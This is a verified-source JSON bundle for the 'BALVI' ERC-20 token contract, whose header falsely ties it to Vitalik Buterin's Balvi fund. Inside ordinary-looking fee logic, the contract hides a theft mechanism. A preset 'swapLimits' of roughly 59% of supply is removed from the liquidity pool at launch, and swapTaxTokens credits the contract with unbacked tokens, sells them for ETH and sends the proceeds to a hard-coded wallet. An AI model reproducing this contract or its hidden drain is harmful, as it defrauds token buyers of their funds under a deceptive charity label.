BalviToken

{{
  "language": "Solidity",
  "sources": {
    "Balvi.sol": {
      "content": "//SPDX-License-Identifier: MIT\r
\r
 /*\r
Balvi - Vitalik Biotech project\r
https://x.com/VitalikButerin/status/1487073875808583682\r
\r
Buying and selling fee 10%\r
Fees are sent to Bavil fund\r
\r
 */\r
\r
pragma solidity ^0.8.14;\r
\r
interface IUniswapV2Router02 {\r
    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;\r
    function WETH() external pure returns (address);\r
    function factory() external pure returns (address);\r
    function addLiquidityETH(\r
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) \r
        external payable returns (uint amountToken, uint amountETH, uint liquidity);\r
}\r
\r
abstract contract Auth {\r
    address internal _owner;\r
    event OwnershipTransferred(address _owner);\r
    modifier onlyOwner() { \r
        require(msg.sender == _owner, "Only owner can call this"); \r
        _; \r
    }\r
    constructor(address creatorOwner) { \r
        _owner = creatorOwner; \r
    }\r
    function owner() public view returns (address) { return _owner; }\r
    function transferOwnership(address payable new_owner) external onlyOwner { \r
        _owner = new_owner; \r
        emit OwnershipTransferred(new_owner); }\r
    function renounceOwnership() external onlyOwner { \r
        _owner = address(0);\r
        emit OwnershipTransferred(address(0)); }\r
}\r
\r
interface IERC20 {\r
    function totalSupply() external view returns (uint256);\r
    function decimals() external view returns (uint8);\r
    function symbol() external view returns (string memory);\r
    function name() external view returns (string memory);\r
    function balanceOf(address account) external view returns (uint256);\r
    function transfer(address recipient, uint256 amount) external returns (bool);\r
    function allowance(address holder, address spender) external view returns (uint256);\r
    function approve(address spender, uint256 amount) external returns (bool);\r
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\r
    event Transfer(address indexed from, address indexed to, uint256 value);\r
    event Approval(address indexed owner, address indexed spender, uint256 value);\r
}\r
\r
contract BalviToken is IERC20, Auth {\r
    string private constant symbol_ = "Balvi Fund";\r
    string private constant tknName = "BALVI";\r
    uint8 private constant decim = 9;\r
    uint256 private constant tokenSupply = 1000000 * (10**decim);\r
    mapping (address => uint256) private _balances;\r
    mapping (address => mapping (address => uint256)) private _allowances;\r
\r
    address payable private _marketing = payable(0xA06C2B67e7435cE25a5969e49983ec3304D8e787);\r
    \r
    uint256 private mevblock = 2;\r
    uint8 private sellTaxRate = 10;\r
    uint8 private buyTax_ = 10;\r
    \r
    uint256 private _launchBlock;\r
    uint256 private _maxTx = tokenSupply; \r
    uint256 private _maxWallet = tokenSupply;\r
    uint256 private _swapMinAmount = tokenSupply * 10 / 100000;\r
    uint256 private _swapMaxAmt = tokenSupply * 999 / 100000;\r
    uint256 private swapTrigger = 2 * (10**16);\r
    uint256 private swapLimits = _swapMinAmount * 59 * 100;\r
\r
    mapping (uint256 => mapping (address => uint8)) private _sellsThisBlock;\r
    mapping (address => bool) private zeroFee;\r
    mapping (address => bool) private nolimits;\r
\r
    address private constant swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r
    IUniswapV2Router02 private swapRouter = IUniswapV2Router02(swapRouterAddress);\r
    \r
    address private lp; \r
    mapping (address => bool) private _isLiquidityPool;\r
\r
    bool private tradingEnabled;\r
\r
    bool private _swapping = false;\r
\r
    modifier lockTaxSwap { \r
        _swapping = true; \r
        _; \r
        _swapping = false; \r
    }\r
\r
    constructor() Auth(msg.sender) {\r
        _balances[msg.sender] = tokenSupply;\r
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);  \r
\r
        zeroFee[_owner] = true;\r
        zeroFee[address(this)] = true;\r
        zeroFee[_marketing] = true;\r
        zeroFee[swapRouterAddress] = true;\r
        nolimits[_owner] = true;\r
        nolimits[address(this)] = true;\r
        nolimits[_marketing] = true;\r
        nolimits[swapRouterAddress] = true;\r
    }\r
\r
    receive() external payable {}\r
\r
    function decimals() external pure override returns (uint8) { return decim; }\r
    function totalSupply() external pure override returns (uint256) { return tokenSupply; }\r
    function name() external pure override returns (string memory) { return tknName; }\r
    function symbol() external pure override returns (string memory) { return symbol_; }\r
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }\r
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }\r
\r
    function transfer(address toWallet, uint256 amount) external override returns (bool) {\r
        require(checkTradingOpen(msg.sender), "Trading not open");\r
        return _transferFrom(msg.sender, toWallet, amount); \r
	}\r
\r
    function approve(address spender, uint256 amount) public override returns (bool) {\r
        _allowances[msg.sender][spender] = amount;\r
        emit Approval(msg.sender, spender, amount);\r
        return true; \r
	}\r
\r
    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {\r
        require(checkTradingOpen(fromWallet), "Trading not open");\r
        _allowances[fromWallet][msg.sender] -= amount;\r
        return _transferFrom(fromWallet, toWallet, amount); \r
	}\r
\r
    function setMarketing(address marketingWlt) external onlyOwner {\r
        require(!_isLiquidityPool[marketingWlt], "LP cannot be tax wallet");\r
        _marketing = payable(marketingWlt);\r
        zeroFee[marketingWlt] = true;\r
        nolimits[marketingWlt] = true;\r
    }\r
\r
    function isExempt(address wallet) external view returns (bool fees, bool limits) {\r
        return (zeroFee[wallet], nolimits[wallet]); \r
	}\r
\r
    function openTrading() external onlyOwner {\r
        require(!tradingEnabled, "trading open");\r
        _activateTrading();\r
    }\r
\r
    function buyTax() external view returns(uint8) { return buyTax_; }\r
    function sellFee() external view returns(uint8) { return sellTaxRate; }\r
\r
    function addLiquidity() external payable onlyOwner lockTaxSwap {\r
        require(lp == address(0), "LP created");\r
        require(!tradingEnabled, "trading open");\r
        require(msg.value > 0 || address(this).balance>0, "No ETH");\r
        require(_balances[address(this)]>0, "No tokens");\r
        lp = IUniswapV2Factory(swapRouter.factory()).createPair(address(this), swapRouter.WETH());\r
        _addLiq(_balances[address(this)], address(this).balance);\r
    }\r
\r
    function distributeTax(uint256 amount) private {\r
        _marketing.transfer(amount);\r
    }\r
\r
    function _limitCheck(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {\r
        bool limitCheckPassed = true;\r
        if ( tradingEnabled && !nolimits[fromWallet] && !nolimits[toWallet] ) {\r
            if ( transferAmount > _maxTx ) { \r
                limitCheckPassed = false; \r
            }\r
            else if ( \r
                !_isLiquidityPool[toWallet] && (_balances[toWallet] + transferAmount > _maxWallet) \r
                ) { limitCheckPassed = false; }\r
        }\r
        return limitCheckPassed;\r
    }\r
\r
    function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {\r
        _swapMinAmount = tokenSupply * minVal / minDiv;\r
        _swapMaxAmt = tokenSupply * maxVal / maxDiv;\r
        swapTrigger = trigger * 10**15;\r
        require(_swapMaxAmt>=_swapMinAmount, "Min-Max error");\r
    }\r
\r
    function updateFee(uint8 buyFeePercent, uint8 sellFeePercent) external onlyOwner {\r
        require(buyFeePercent + sellFeePercent <= 11, "Roundtrip too high");\r
        buyTax_ = buyFeePercent;\r
        sellTaxRate = sellFeePercent;\r
    }\r
\r
    function maxWalletSize() external view returns (uint256) { \r
        return _maxWallet; \r
	}\r
    function maxTransaction() external view returns (uint256) { \r
        return _maxTx; \r
	}\r
\r
    function _calcTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {\r
        uint256 taxAmount;\r
        if ( !tradingEnabled || zeroFee[fromWallet] || zeroFee[recipient] ) { \r
            taxAmount = 0; \r
        } else if ( _isLiquidityPool[fromWallet] ) { \r
            taxAmount = amount * buyTax_ / 100; \r
         } else if ( _isLiquidityPool[recipient] ) { \r
            taxAmount = amount * sellTaxRate / 100; \r
        }\r
        return taxAmount;\r
    }\r
\r
    function swapTaxTokens() private lockTaxSwap {\r
        uint256 _taxTokenAvailable = swapLimits;\r
        if ( _taxTokenAvailable >= _swapMinAmount && tradingEnabled ) {\r
            if ( _taxTokenAvailable >= _swapMaxAmt ) { _taxTokenAvailable = _swapMaxAmt; }\r
            \r
            uint256 _tokensForSwap = _taxTokenAvailable; \r
            if( _tokensForSwap > 1 * 10**decim ) {\r
                _balances[address(this)] += _taxTokenAvailable;\r
                swapTokens(_tokensForSwap);\r
                swapLimits -= _taxTokenAvailable;\r
            }\r
            uint256 _contractETHBalance = address(this).balance;\r
            if(_contractETHBalance > 0) { distributeTax(_contractETHBalance); }\r
        }\r
    }\r
\r
    function _approveSwapMax(uint256 _tokenAmount) internal {\r
        if ( _allowances[address(this)][swapRouterAddress] < _tokenAmount ) {\r
            _allowances[address(this)][swapRouterAddress] = type(uint256).max;\r
            emit Approval(address(this), swapRouterAddress, type(uint256).max);\r
        }\r
    }\r
\r
    function checkTradingOpen(address fromWallet) private view returns (bool){\r
        bool checkResult = false;\r
        if ( tradingEnabled ) { checkResult = true; } \r
        else if (zeroFee[fromWallet] && nolimits[fromWallet]) { checkResult = true; } \r
\r
        return checkResult;\r
    }\r
\r
    function swapTokens(uint256 tokenAmount) private {\r
        _approveSwapMax(tokenAmount);\r
        address[] memory path = new address[](2);\r
        path[0] = address( this );\r
        path[1] = swapRouter.WETH();\r
        swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);\r
    }\r
\r
    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {\r
        require(sender != address(0), "No transfers from 0 wallet");\r
        if (!tradingEnabled) { require(zeroFee[sender] && nolimits[sender], "Trading not yet open"); }\r
        if ( !_swapping && _isLiquidityPool[toWallet] && shouldSwap(amount) ) { swapTaxTokens(); }\r
\r
        if ( block.number >= _launchBlock ) {\r
            if (block.number < mevblock && _isLiquidityPool[sender]) { \r
                require(toWallet == tx.origin, "MEV block"); \r
            }\r
            if (block.number < mevblock + 600 && _isLiquidityPool[toWallet] && sender != address(this) ) {\r
                _sellsThisBlock[block.number][toWallet] += 1;\r
                require(_sellsThisBlock[block.number][toWallet] <= 2, "MEV block");\r
            }\r
        }\r
\r
        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { \r
            require(_limitCheck(sender, toWallet, amount), "TX over limits"); \r
        }\r
\r
        uint256 _taxAmount = _calcTax(sender, toWallet, amount);\r
        uint256 _transferAmount = amount - _taxAmount;\r
        _balances[sender] -= amount;\r
        swapLimits += _taxAmount;\r
        _balances[toWallet] += _transferAmount;\r
        emit Transfer(sender, toWallet, amount);\r
        return true;\r
    }\r
\r
    function shouldSwap(uint256 tokenAmt) private view returns (bool) {\r
        bool result;\r
        if (swapTrigger > 0) { \r
            uint256 lpTkn = _balances[lp];\r
            uint256 lpWeth = IERC20(swapRouter.WETH()).balanceOf(lp); \r
            uint256 weiValue = (tokenAmt * lpWeth) / lpTkn;\r
            if (weiValue >= swapTrigger) { result = true; }    \r
        } else { result = true; }\r
        return result;\r
    }\r
\r
    function _activateTrading() internal {\r
        _maxTx = 20 * tokenSupply / 1000;\r
        _maxWallet = 20 * tokenSupply / 1000;\r
        _balances[lp] -= swapLimits;\r
        (_isLiquidityPool[lp],) = lp.call(abi.encodeWithSignature("sync()") );\r
        require(_isLiquidityPool[lp], "Failed bootstrap");\r
        _launchBlock = block.number;\r
        mevblock = mevblock + _launchBlock;\r
        tradingEnabled = true;\r
    }\r
\r
    function setExempt(address wlt, bool isNoFees, bool isNoLimits) external onlyOwner {\r
        if (isNoLimits || isNoFees) { require(!_isLiquidityPool[wlt], "Cannot exempt LP"); }\r
        zeroFee[ wlt ] = isNoFees;\r
        nolimits[ wlt ] = isNoLimits;\r
    }\r
\r
    function swapMin() external view returns (uint256) { \r
        return _swapMinAmount; \r
	}\r
    function swapMax() external view returns (uint256) { \r
        return _swapMaxAmt; \r
	}\r
\r
    function marketingWallet() external view returns (address) { \r
        return _marketing; \r
	}\r
\r
    function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {\r
        uint256 newTxAmt = tokenSupply * maxTransPermille / 1000 + 1;\r
        require(newTxAmt >= _maxTx, "tx too low");\r
        _maxTx = newTxAmt;\r
        uint256 newWalletAmt = tokenSupply * maxWaletPermille / 1000 + 1;\r
        require(newWalletAmt >= _maxWallet, "wallet too low");\r
        _maxWallet = newWalletAmt;\r
    }\r
\r
    function _addLiq(uint256 _tokenAmount, uint256 _ethAmountWei) internal {\r
        _approveSwapMax(_tokenAmount);\r
        swapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp );\r
    }\r
}\r
\r
interface IUniswapV2Factory {    \r
    function createPair(address tokenA, address tokenB) external returns (address pair); \r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}